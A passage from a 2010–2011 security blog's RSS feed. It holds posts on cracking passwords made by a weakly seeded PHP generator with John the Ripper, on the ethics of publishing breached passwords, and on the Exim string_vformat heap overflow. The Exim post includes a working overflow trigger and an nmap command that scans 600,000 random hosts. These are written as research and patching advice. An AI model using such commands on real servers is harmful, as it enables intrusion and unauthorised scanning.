&nbsp;&nbsp;<font color="#ff80ff">function</font>&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijkmnopqrstuvwxyz023456789!@#$</font>';

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">1000000</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">srand</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, <font color="#ffa500">(</font><font color="#40ffff">rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>%</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ff80ff">echo</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;&quot;<font color="#ffa500">\n</font>&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">}</font>
&nbsp;&nbsp;<font color="#ffa500">}</font>

&nbsp;&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">argv</font><font color="#ffa500">[</font><font color="#ffa0a0">1</font><font color="#ffa500">])</font>;
<font color="#ffa500">?&gt;</font>
</pre>
<p>Then run it to prove it works:</p>
<pre>$ php ./generate_plaintext.php 14 | head
!@fju@5qx7@s4r
!@fju@5qx7@s4r
we#hqgerz4@oro
2zyemt2h7caer2
rwm!2mdw4!yatk
tzd!nz@!njsyso
tgkzg60k!k!84p
jwnmnd4#eo8@!r
s@4cbh0ki7j@qz
avxgx#5qv0y2tw
</pre>
<p>And send its output into a file:</p>
<pre>
$ php ./generate_plaintext.php 14 &gt; 14_character_plaintexts.txt
</pre>
<p>You can save some trouble and <a href='/blogdata/14_character_plaintexts.txt.bz2'>download it here</a> if you want to follow along.</p>
<p>Then we send that file into john and watch the magic...</p>
<pre>
$ rm john.pot
$ ./john --stdin --format=raw-md5 14_character_hashes.txt < 14_character_plaintexts.txt
Loaded 4231 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
d3jg8b49vkh0qr   (?)
ikzryv@bf7!#o#   (?)
64z8r3x@bdgv4s   (?)
vzmh4beou7#n4s   (?)
vyh!2o7000j@8k   (?)
czdxguvc67fcfs   (?)
2fnvq4hf2ftms8   (?)
jqxouo#mxhnj5h   (?)
kabami3i@!ehgc   (?)
...
g@c840br06hje7   (?)
0@xg!6mx9npez4   (?)
ro6!t@pyahjq4v   (?)
cpqgc@g6h9hvks   (?)
ysf!t89543fv2u   (?)
guesses: 4231  time: 0:00:00:00  c/s: 2574M  trying: p2aiw#!s!7qho! - zhswbxxiho2e3u
</pre>
<p>As you can see, it loaded 4231 password hashes (there were less than 5000 due to collisions), and cracked them all. And it took 0 seconds. that's pretty darn good!</p>
<h2>Conclusion</h2>
<p>Now you've seen how we can very quickly crack a password generated with a bad algorithm. In my next blog, we'll see how we can crack one generated with an even worse algorithm, remotely! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Ethics of password cracking/dissemination</title>
		<link>http://www.skullsecurity.org/blog/2011/ethics-of-password-crackingdissemination</link>
		<comments>http://www.skullsecurity.org/blog/2011/ethics-of-password-crackingdissemination#comments</comments>
		<pubDate>Mon, 24 Jan 2011 14:03:26 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1028</guid>
		<description><![CDATA[It's rare these days for me to write blogs that I have to put a lot of thought into. Most of my writing is technical, which comes pretty naturally, but I haven't written an argument since I minored in philosophy. So, if my old Ethics or Philosophy profs are reading this, I'm sorry! Introduction Anybody [...]]]></description>
			<content:encoded><![CDATA[<p>It's rare these days for me to write blogs that I have to put a lot of thought into. Most of my writing is technical, which comes pretty naturally, but I haven't written an argument since I minored in philosophy. So, if my old Ethics or Philosophy profs are reading this, I'm sorry! </p>
<h2>Introduction</h2>
<p>Anybody who follows my blog/work regularly know that I collect, crack, and disseminate password breaches. I have a <a href='/wiki/index.php/Passwords'>wiki page</a> devoted to breaches and dictionaries and I occasionally <a href='https://deepsec.net/docs/speaker.html#PSLOT17'>do talks</a> on the subject. And if you <a href='https://twitter.com/iagox86'>follow me on Twitter</a>, you'll see <a href='https://twitter.com/iagox86/status/17619856631275520'>regular</a> <a href='https://twitter.com/iagox86/status/17615145828089856'>updates</a> about password dictionaries. </p>
<p>The issue is, <a href='https://twitter.com/brainwagon/status/17619256166322177'>not</a> <a href='http://twitter.com/SimonLR/statuses/17984868306653185'>everybody</a> agrees with what I do (I was hoping to have more links in that sentence, but only two people actually said they thought it was wrong when I <a href='http://twitter.com/?status=@iagox86%20&#038;in_reply_to_status_id=17983590822318080&#038;in_reply_to=iagox86'>asked for comments on Twitter</a>). Fortunately, <a href='https://twitter.com/nikhil_mitt/statuses/17994429797244928'>many</a> <a href='https://twitter.com/LenIsham/statuses/18005375303294976'>more</a> <a href='https://twitter.com/ChrisJohnRiley/statuses/17987742487027712'>people</a> <a href='https://twitter.com/mruef/statuses/17986098747670528'>agreed</a> that I was doing something good. So I take that as a small victory... </p>
<p>Anyway, this post is going to cover some of the pros and cons of what I do, and why I think that I'm doing the right thing, helping the world, etc. </p>
<h2>Cons</h2>
<p><strong>#1: you're helping the bad guys</strong><br />
The issue I hear most often is that I'm making it easier for the bad guys, whether it's people trying to take over users' accounts or perform bruteforce attacks more efficiently. Now, keeping in mind that every security tool and piece of security research in some way helps both good guys and bad guys, this is why I'm comfortable that my work isn't benefiting bad guys in any significant way:</p>
<ul>
<li>The data I'm getting is *from* bad guys in the first place, which means that they already have it</li>
<li>My data contains no personally identifiable information... more on that later</li>
<li>The most common passwords are already known, and sites that use passwords like 'qwerty' on their admin account will be compromised anyways (and who would do something like that *cough<a href='http://scrollwars.com/'>darryl</a>cough*). The best thing I can do is raise awareness.</li>
</ul>
<p><strong>#2: you're actively harming people</strong><br />
This i largely covered by my response to the previous point, but I wanted to reiterate: I do my best to ensure nobody is harmed. </p>
<p>It's a well known fact that people use the same password in multiple places. If you have 100 accounts online that each require a 7+ character password (or 14+ characters if you want actual security), how are you supposed to remember them? Unique passwords for facebook, twitter, gmail, hotmail, gawker, every random forum you visit, and so on and so on. Without a password management tool, you're re-using passwords. This week I decided to bite the bullet and strengthen all my passwords. I have 14 accounts that I would consider "important", and that doesn't include my computers themselves, my PGP key, my SSH key, and so on and so on. </p>
<p>Now, the biggest danger in these password breaches is when somebody uses the same username/email address on a compromised site that they use on a more important site (their bank? Paypal? or, God forbid.... Facebook?) Attackers, armed with usernames and passwords, can wreak havoc on somebody's online life. I found a great story about the singles.org compromise, but unfortunately I can't find it again so <a href='http://www.computerworld.com.au/article/278298/exposed_christians_reminder_use_multiple_site_passwords/'>this one</a> will have to do. The basic idea is, after 4chan folks compromised singles.org's password database, they started using those passwords to log into Facebook, online banking, etc. </p>
<p>Another, more modern version of that is the suspected link between the <a href='http://nakedsecurity.sophos.com/2010/12/13/acai-berry-spam-gawker-password-hack-twitter/'>Gawker compromise and Açaí berry spam</a>. Though nothing has been proven, and just using that word is probably going to get me some spam, some people suspect a correlation between the attack and the spam. Matt Weir has tried to prove this link, but so far I believe his results have been inconclusive. </p>
<p>Now, what am I doing to protect people? Well, first and foremost, I don't release personally identifiable information. Ever. Most of the breaches I get contain usernames, email addresses, and sometimes more (in 3 or 4 cases, I've received entire dumps of databases!). And I don't release those. When people come to my site, they're getting aggregated password counts, which is pure statistical data, nothing more. (One thing I can't protect is people who use an email address as their password - you aren't fooling anybody!)</p>
<p>By making it easy to get the sanitized list of passwords, it's less likely people will look for, find, download, and distribute the full version - the version that, in my opinion, is far more dangerous. </p>
<p>Another point worth mentioning: I occasionally sit on lists for weeks or months to help minimize the potential damage they'll do to companies and their users. While I won't admit to sitting on any right now, I think it's important to judge whether or not a particular list can cause more harm than good if I release it, and to release it only when the amount of harm it can cause is minimized (that is, when we know the bad guys already have the list, so releasing it to the good guys doesn't matter anymore). </p>
<h2>Pros</h2>
<p>So, those are the only cons I can think of, though I have somewhat of a biased view. If you feel I missed something important, let me know and I'll do my best to respond! </p>
<p>Now, on to why I think I'm doing a *good* thing! </p>
<p><strong>#1: you're spreading the message on good password hashing</strong><br />
When I do talks, I discuss the benefits of good password hashing. Unsalted md5, we can usually crack 90% plus of all passwords; salted md5, probably closer to 70%. If a site uses <a href='http://codahale.com/how-to-safely-store-a-password/'>bcrypt</a> or something similar as the primary means of storing their passwords (sorry, Gawker, but using bcrypt only helps you if you don't store a weaker type beside it), I'd bet we'd have trouble cracking more than 25% of all passwords. </p>
<p>To all Web developers: algorithms matter! </p>
<p>Let's look at it this way: say a site loses 5.3 million passwords: If those passwords are unsalted (raw-md5, as john the ripper calls it), then we hash our first guess, compare it 5.3 million times, hash our second guess, compare 5.3 million times, etc. That means that for each md5() operation we perform, we can check 5.3 million hashes. If those hashes were salted, we'd hash once, compare to the first hash, hash the same guess with the second salt, compare to the second hash, and so on 5.3 million times. That means that, with salting, one md5() operation gets us one comparison. </p>
<p>But what's that mean?</p>
<p>It means that unsalted passwords, in a list with 5.3 million passwords, will crack <em>5.3 million times as fast</em> as salted passwords. I can average about 5,000,000 checks/second on my laptop against a single md5 hash, which means I can perform approximately 5,300,000 times that, or 26,500,000,000,000 checks/second against unsalted passwords. </p>
<p>To summarize:<br />
<strong>Salted hashes:</strong> 5 million checks/second<br />
<strong>Unsalted hashes</strong> 26.5 trillion checks/second</p>
<p>Taking it one step further, though - some algorithms, like WPA, bcrypt, and so on, are designed to be slow. Take bcrypt, for example - on my laptop, I can perform about 5 million checks/second for salted md5, and 17 checks/second for bcrypt. Compare 17 checks/second to the 26.5 trillion checks/second we saw earlier, against a large list, and the difference is astounding. Against the list of 5.3 million passwords, it would take us 86 hours to check each hash once. In other words, to guess '123456' for 5.3 million passwords, it would take over 3 days. Then guessing 'password' would take another 3 days, and so on. Basically, you could grow old and never crack more than a handful of passwords. </p>
<p>So, part of my goal is just that: teach people to use proper hashing algorithms! </p>
<p><strong>#2: you're demonstrating why passwords are fundamentally flawed</strong><br />
But even with bcrypt, it isn't going to help us any if an attacker can go to the Web interface, type in an admin username (oh, let's say, 'darryl'), and try the top 10 passwords (let's say, 'qwerty') and have full access to the site. As long as passwords exist, people are going to <a href='http://www.skullsecurity.org/blog/2010/hard-evidence-that-people-suck-at-passwords'>choose stupid passwords</a> and get compromised that way, no matter what kind of hashing, lockouts, etc are used. Additionally, people are going to install malware that logs their passwords, preventing the need from ever guessing them. </p>
<p>That's why passwords need to go away, or be enhanced. Somebody has to find a way to create ubiquitous two-factor authentication. That is, a second factor that can be safely used everywhere, and that's resistant to being stolen. I suspect it's a long way off, but it's something that I'll support when it starts becoming a reality. </p>
<p><strong>#3: you're providing research data/analysis</strong><br />
Everybody loves having hard data for their research. In the past I found it excessively hard to do any kind of research on passwords because getting the various compromises into one place was nearly impossible. But now, thanks to my efforts, you can calculate some pretty cool <a href='http://svn.skullsecurity.org:81/ron/security/2010-11-deepsec/data.ods'>data</a> on password breaches. </p>
<p><strong>#4: you're making password breaches less valuable</strong><br />
This is an interesting take on the issue that my friend had. Each breach that I mirror makes the breach itself, as well as other breaches, less valuable for a bad guy to have. It comes down to a supply and demand issue - if there's a large supply, it's unnecessary to get more. Therefore, people won't invest as much time, effort, or money into obtaining more breaches simply for their passwords. </p>
<p><strong>#5: you're helping us heat our houses this winter</strong><br />
Every machine that's cracking passwords is also <a href='https://twitter.com/_sid77/status/17620972215476224'>helping heat a house</a>, feel free to thank me for it. </p>
<p>But when global warming comes for us, don't blame me! </p>
<h2>Conclusion</h2>
<p>Hopefully you have some idea, now, of why I do what I do. In my mind, there's absolutely nothing unethical about distributing breached passwords as aggregate statistics (without personally identifiable information) and it helps the community a great deal. </p>
<p>I'd love to hear comments from anybody who agrees or disagrees! My email is in the sidebar at the top-right, and the comments below allow anonymous posting (assuming you can do simple math :) ), so please let me know how you feel! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/ethics-of-password-crackingdissemination/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Watch out for exim!</title>
		<link>http://www.skullsecurity.org/blog/2010/watch-out-for-exim</link>
		<comments>http://www.skullsecurity.org/blog/2010/watch-out-for-exim#comments</comments>
		<pubDate>Wed, 15 Dec 2010 14:24:49 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=995</guid>
		<description><![CDATA[Hey everybody, Most of you have probably heard of the exim vulnerability this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode! First off, if you're concerned that you might have vulnerable hosts, I wrote a [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>Most of you have probably heard of the <a href='http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html'>exim vulnerability</a> this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode! </p>
<p>First off, if you're concerned that you might have vulnerable hosts, I wrote a plugin for <a href='http://nessus.org'>Nessus</a> to help you find them (I'm not sure if it's in the ProfessionalFeed yet - if it isn't, it will be soon). There's no Nmap script yet, but my sources tell me that it's in progress (keep an eye on <a href='https://twitter.com/iagox86'>my Twitter account</a> for updates on that). </p>
<h2>The vulnerability</h2>
<p>The vulnerability is actually a pretty old one. It was <a href='http://bugs.exim.org/show_bug.cgi?id=787'>fixed two years ago</a> (December of 2008). If you look at <a href='http://git.exim.org/exim.git/commitdiff/24c929a2'>the patch</a>, it doesn't tell you much. The obvious thing to do, then, is to <a href='http://exim.mirror.iphh.net/ftp/exim/exim4/exim-4.69.tar.bz2'>download the code</a> and try to break it! So let's do that... </p>
<p>The first step is to extract the source and compile it. My strategy was to keep running 'make' and fixing what it complained about until it shut up and compiled. Exim's compilation is annoying like that. You may have more luck reading the manual -- both good! </p>
<p>Once it's built, I decided to take a look at the patched function. It's called string_vformat() in src/string.c. It's very long, but here's the prototype:</p>
<pre>BOOL string_vformat(uschar *buffer, int buflen, char *format, va_list ap);</pre>
<p>Aha! buffer, buflen, format, and a va_list - it looks like sprintf() to me! Looking one function up, where it's called from, we find string_format(), which is basically a wrapper around string_vformat():</p>
<pre>BOOL string_format(uschar *buffer, int buflen, char *format, ...)</pre>
<p>Based on the patch and the nature of the function, it was obviously the %s format specifier that was being changed, and it seemed to have something to do with the bounds checking. Rather than reading/understanding all that complicated code, I decided to send stuff into that function and see if I could get it to write off its own buffer. Simple, eh?</p>
<p>So here's the first test I wrote (I took the lazy approach and replaced the real main() function in exim.c with this) (I swear this is the first thing I tried.. I must be lucky or something!):</p>
<pre>int main(int argc, char *argv[])
{
    char buffer[16];
    int i, j;

    for(i = 1; i < 8; i++)
    {
        memset(buffer, 0, 16);
        string_format(buffer, i, "TEST%s",
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for(j = 0; j < 16; j++)
            printf("%02x ", buffer[j]);
        printf("\n");
    }
    return 0;
}</pre>
<p>Simple enough! We start by setting the buffer length to 1, which should produce an empty string (since the string is terminated with a NULL byte '\x00'). Then we should see 'T', then 'TE', 'TES', etc. Here's what the result is:</p>
<pre>$ make
[...]
$ build-Linux-x86_64/exim
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 41 41 41 41 41 41 41 41 41 41 41
54 45 53 54 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 00 00 00 00 00 00 00 00 00 00 00
Segmentation fault
</pre>
<p>Woah, what have we here? When the max length is set to 5, all hell breaks loose! It even manages to segfault my test program (thanks, obviously, to a stack overflow). A quick check shows us that the '%s' is exactly 5 characters into the string, which just happens to be 'buflen'. Testing with other strings will prove that if '%s' is at the index of 'buflen', 'buflen' is ignored and the string will be written right off the end of the buffer into whatever happens to be next. </p>
<p>Now, that leads to the obvious question: where can we find a case where we can control 'buflen' to ensure that '%s' ends up in exactly the right place? That's a rare condition indeed! And this is where I got a little stuck. To help track it down, I added some output to string_vformat() that displays the format string, buflen, and the output every time it runs. Then I did some normal transactions and looked at the output. Here's how (remove the newlines to test this yourself.. I only have so much horizontal room to work with):</p>
<pre>echo -ne 'EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n
    This is some data!\r\n.\r\n' | sudo ./exim -bs</pre>
<p>This builds an SMTP request with echo and sends it to the exim binary. 'exim -bs' is how exim is run when it's used as inetd, which means it's expecting network traffic to come in stdin. Here are the strings that came into string_vformat():</p>
<pre>string_vformat: [250] 'initializing' => initializing
string_vformat: [48] '%s' => root
string_vformat: [128] '%s' => /root
string_vformat: [128] '%s' =>
string_vformat: [128] '%s' => /bin/bash
string_vformat: [250] 'accepting a local %sSMTP message from <%s>' =>
accepting a local SMTP message from <root>
string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [32768] '%s/log/%%slog' => /var/spool/exim/log/%slog
string_vformat: [8171] '%s' => SMTP connection from root
string_vformat: [16384] '%s' => 220 ankh ESMTP Exim 4.69
Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%.3s %s Hello %s%s%s' => 250 ankh Hello root at domain
string_vformat: [16384] '250 OK
' => 250 OK

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_rcpt"
string_vformat: [16384] '250 Accepted
' => 250 Accepted

string_vformat: [16384] '354 Enter message, ending with "." on a line by itself
' => 354 Enter message, ending with "." on a line by itself

string_vformat: [208] ' id=%s' =>  id=1PSggK-0002bd-0P
string_vformat: [32768] '%sMessage-Id: <%s%s%s@%s>
' => Message-Id: <E1PSggK-0002bd-0P@ankh>

string_vformat: [32768] '%sFrom: %s%s%s%s
' => From: test@test.com

string_vformat: [32768] '%sDate: %s
' => Date: Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%s; %s
' => Received: from root (helo=domain)
        by ankh with local-esmtp (Exim 4.69)
        (envelope-from <test@test.com>)
        id 1PSggK-0002bd-0P
        for test@localhost; Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_data"
string_vformat: [8154] '%s' => <= test@test.com U=root P=local-esmtp S=294
string_vformat: [256] '/var/spool/exim/log/%slog' => /var/spool/exim/log/mainlog
string_vformat: [16384] '250 OK id=%s
' => 250 OK id=1PSggK-0002bd-0P

string_vformat: [128] '%s lost input connection' => ankh lost input connection
string_vformat: [16384] '%s %s
' => 421 ankh lost input connection

string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [8171] '%s lost%s' => SMTP connection from root lost
</pre>
<p>Looking down that list, none of those are obvious places where we can control the length of the format string. Damn! I tried a bunch of other variations without any luck. Things weren't looking good.. I was stuck! </p>
<p>Fortunately, <a href='http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html'>the original post</a> had a mostly complete packet dump. After playing for awhile, I finally figured out that sending a bunch of DATA headers, plus the 50mb of garbage, did something interesting! Here's the command I used (again, remove the linebreaks to try this):</p>
<pre>$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x100 .
    "This is more data!\r\n"x5000000 . "\r\n.\r\n"' | ./exim -bs</pre>
<p>And here's how the log looked:</p>
<pre>string_vformat: [8018] '%c %s' =>   This: is some data
string_vformat: [7997] '%c %s' =>   This: is some data
string_vformat: [7976] '%c %s' =>   This: is some data
string_vformat: [7955] '%c %s' =>   This: is some data
string_vformat: [7934] '%c %s' =>   This: is some data
string_vformat: [7913] '%c %s' =>   This: is some data
string_vformat: [7892] '%c %s' =>   This: is some data
.....down to 0</pre>
<p>Great, this looks good! ... but why does it work?</p>
<p>Well, it turns out that if a message is rejected (because, for example, it's too large), the headers for the message are logged in a buffer, one at a time. When each one is logged, the buffer is shortened, which means by tweaking the length of the headers we can control the 'buflen' field. Since the format specifier '%s' is at the third character in the string, we want to end up with three bytes left then add a huge string to the buffer that overwrites the heap. </p>
<p>So now, we do a whole lot of complicated math and a ton of patience, we whittle the buffer to three bytes, then overflow the crap out of it:</p>
<pre>$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x381 .
    "Final: AAAA\r\nBoom: " . "A"x50000 . "This is more data!\r\n"x5000000 .
    "\r\n.\r\n"' | ./exim -bs
220 ankh ESMTP Exim 4.69 Tue, 14 Dec 2010 20:19:10 -0600
250-ankh Hello ron at domain
250-SIZE 52428800
250-PIPELINING
250 HELP
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
Segmentation fault
</pre>
<p>Bodabing! Overflow successful. </p>
<p>The hard part is getting all the sizes, headers, etc just right. The easy part is turning this into code execution -- take a look at <a href='http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format'>Metasploit</a> to find out that part. </p>
<h2>Who's vulnerable?</h2>
<p>Any 4.6x version of Exim is potentially vulnerable, and possibly earlier versions too. The problem is, different versions may have different logging formats, which means the carefully selected count we did to overflow the buffer isn't going to cut it. So in reality, 4.69-debian is highly vulnerable, because that's what Metasploit and Nessus target; other versions may be as well. </p>
<p>So that naturally leads to the question - how many people are running Exim 4.69? Well, my friend bob, always the troublemaker, decided to scan 600,000 hosts on port 25 to see what's running. I don't recommend following in his footsteps, but this is the command he used:</p>
<pre>$ sudo ./nmap -n -d --log-errors -PS25 -p25 --open -sV -T5 -iR 600000
    -oA output/smtp-versions</pre>
<p>Here are the top 10 versions returned (I removed the versions that Nmap didn't recognize), along with their associated counts:</p>
<pre>    240 25/tcp open  smtp    syn-ack Postfix smtpd
    206 25/tcp open  smtp    syn-ack Exim smtpd 4.69
     96 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.4675
     78 25/tcp open  smtp    syn-ack qmail smtpd
     77 25/tcp open  smtp    syn-ack netqmail smtpd 1.04
     40 25/tcp open  smtp    syn-ack BorderWare firewall smtpd
     22 25/tcp open  smtp    syn-ack Microsoft ESMTP
     21 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
     19 25/tcp open  smtp    syn-ack Cisco PIX sanitized smtpd
     18 25/tcp open  smtp    syn-ack Sendmail 8.13.8/8.13.8
</pre>
<p>Based on those numbers, I think it's safe to say that Exim smtpd 4.69 is the second most popular SMTP server in the universe. <a href='http://www.skullsecurity.org/blogdata/smtp-versions-count.txt'>Here's a complete listing</a>. I considered posting the full Nmap log, but I was worried that one of the servers' owners might notice and be upset at Bob. And I don't want to make any extra trouble for him! </p>
<h2>Conclusion</h2>
<p>The conclusion to this is simple: To all those people running vulnerable (or potentially vulnerable) versions of exim: patch! Patch now! This is an incredibly easy exploit to pull off, and there are public versions everywhere. Protect yourself! </p>
<p>And if you don't have a Nessus ProfessionalFeed, get one and you can test your network right now! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/watch-out-for-exim/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Faking demos for fun and profit</title>
		<link>http://www.skullsecurity.org/blog/2010/faking-demos-for-fun-and-profit</link>
		<comments>http://www.skullsecurity.org/blog/2010/faking-demos-for-fun-and-profit#comments</comments>
		<pubDate>Sun, 28 Nov 2010 00:03:38 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=990</guid>
		<description><![CDATA[This week Last week Earlier this month Last month Last year (if this intro doesn't work, I give up trying to post this :) ), I presented at B-Sides Ottawa, which was put on by Andrew Hay and others (and sorry I waited so long before posting this... I kept revising it and not publishing). [...]]]></description>
			<content:encoded><![CDATA[<p><s>This week</s> <s>Last week</s> <s>Earlier this month</s> <s>Last month</s> Last year (if this intro doesn't work, I give up trying to post this :) ), I presented at <a href='http://www.securitybsides.com/w/page/26807426/BSidesOttawa'>B-Sides Ottawa</a>, which was put on by <a href='http://www.andrewhay.ca/'>Andrew Hay</a> and others (and sorry I waited so long before posting this... I kept revising it and not publishing). I got to give a well received talk, meet a lot of great folks, see Ottawa for the first time, and learn that I am a good solid Security D-lister. w00t! </p>
<p>Before I talk about the fun part, where I completely faked out my demo, if you want the slides you can grab them here:<br />
<a href='http://svn.skullsecurity.org:81/ron/security/2010-11-bsides-ottawa/'>http://svn.skullsecurity.org:81/ron/security/2010-11-bsides-ottawa/</a>. You can find more info about the conference and people's slides <a href='http://www.securitybsides.com/w/page/26807426/BSidesOttawa'>at the official site</a>. And finally, <a href='http://www.flickr.com/photos/jack_daniel/5172813651/in/set-72157625373535766/'>here's a picture of me</a> trying to look casual. </p>
<p>B-sides conferences, for those of you who don't know, are awesome little conferences that often (but not always) piggyback on other conferences. They are free (or cheap), run by volunteers, and have raw and technical talks. B-sides Ottawa was no exception, and I'm thrilled I had the chance to not only see it, but take part in it. I really hope to run our own B-sides Winnipeg next year!</p>
<p>Anyway, my talk was on the Nmap Scripting Engine. I wrote a talk and a couple demoes, both of which are available at the above link. My plan was to do two live demoes, coded on stage, with no safety net. Pre-recording demoes is cheating! The demoes were the following:</p>
<ul>
<li>Perform a DNS lookup and scan a host's mailservers</li>
<li>Look up the router's MAC address in a geolocation service and show the google map</li>
</ul>
<p>I practiced them over and over, and they were looking great, so I showed up at B-sides ready to go! </p>
<p>Then I found out I had no Internet connection. </p>
<p>Crap! </p>
<p>So, that night I had a lot of work to do, re-writing my entire talk to work with no Internet connection. As a natural procrastinator, I ended up hanging out with people until the middle of the night, so when I finally made it back to the hotel I couldn't do anything. So, four hours later, first thing in the morning, I got to work. </p>
<h2>Problem 1: DNS</h2>
<p>So the first problem was that I had to perform DNS queries, both for MX and A records. I briefly considered using a shellscript and netcat to do this, but I'm not *that* crazy. Instead, I made some minor changes to <a href='/wiki/index.php/Dnsxss'>dnsxss</a> to return a few fake mailservers for MX queries. </p>
<p>The default behaviour of dnsxss returns 127.0.0.1 for all A queries, and that's exactly what I wanted. </p>
<p>Finally, I set the DNS server of my laptop to 127.0.0.1. Now, no matter what I requested, the right results came back. Problem solved! </p>
<h2>Problem 2: No mail servers!</h2>
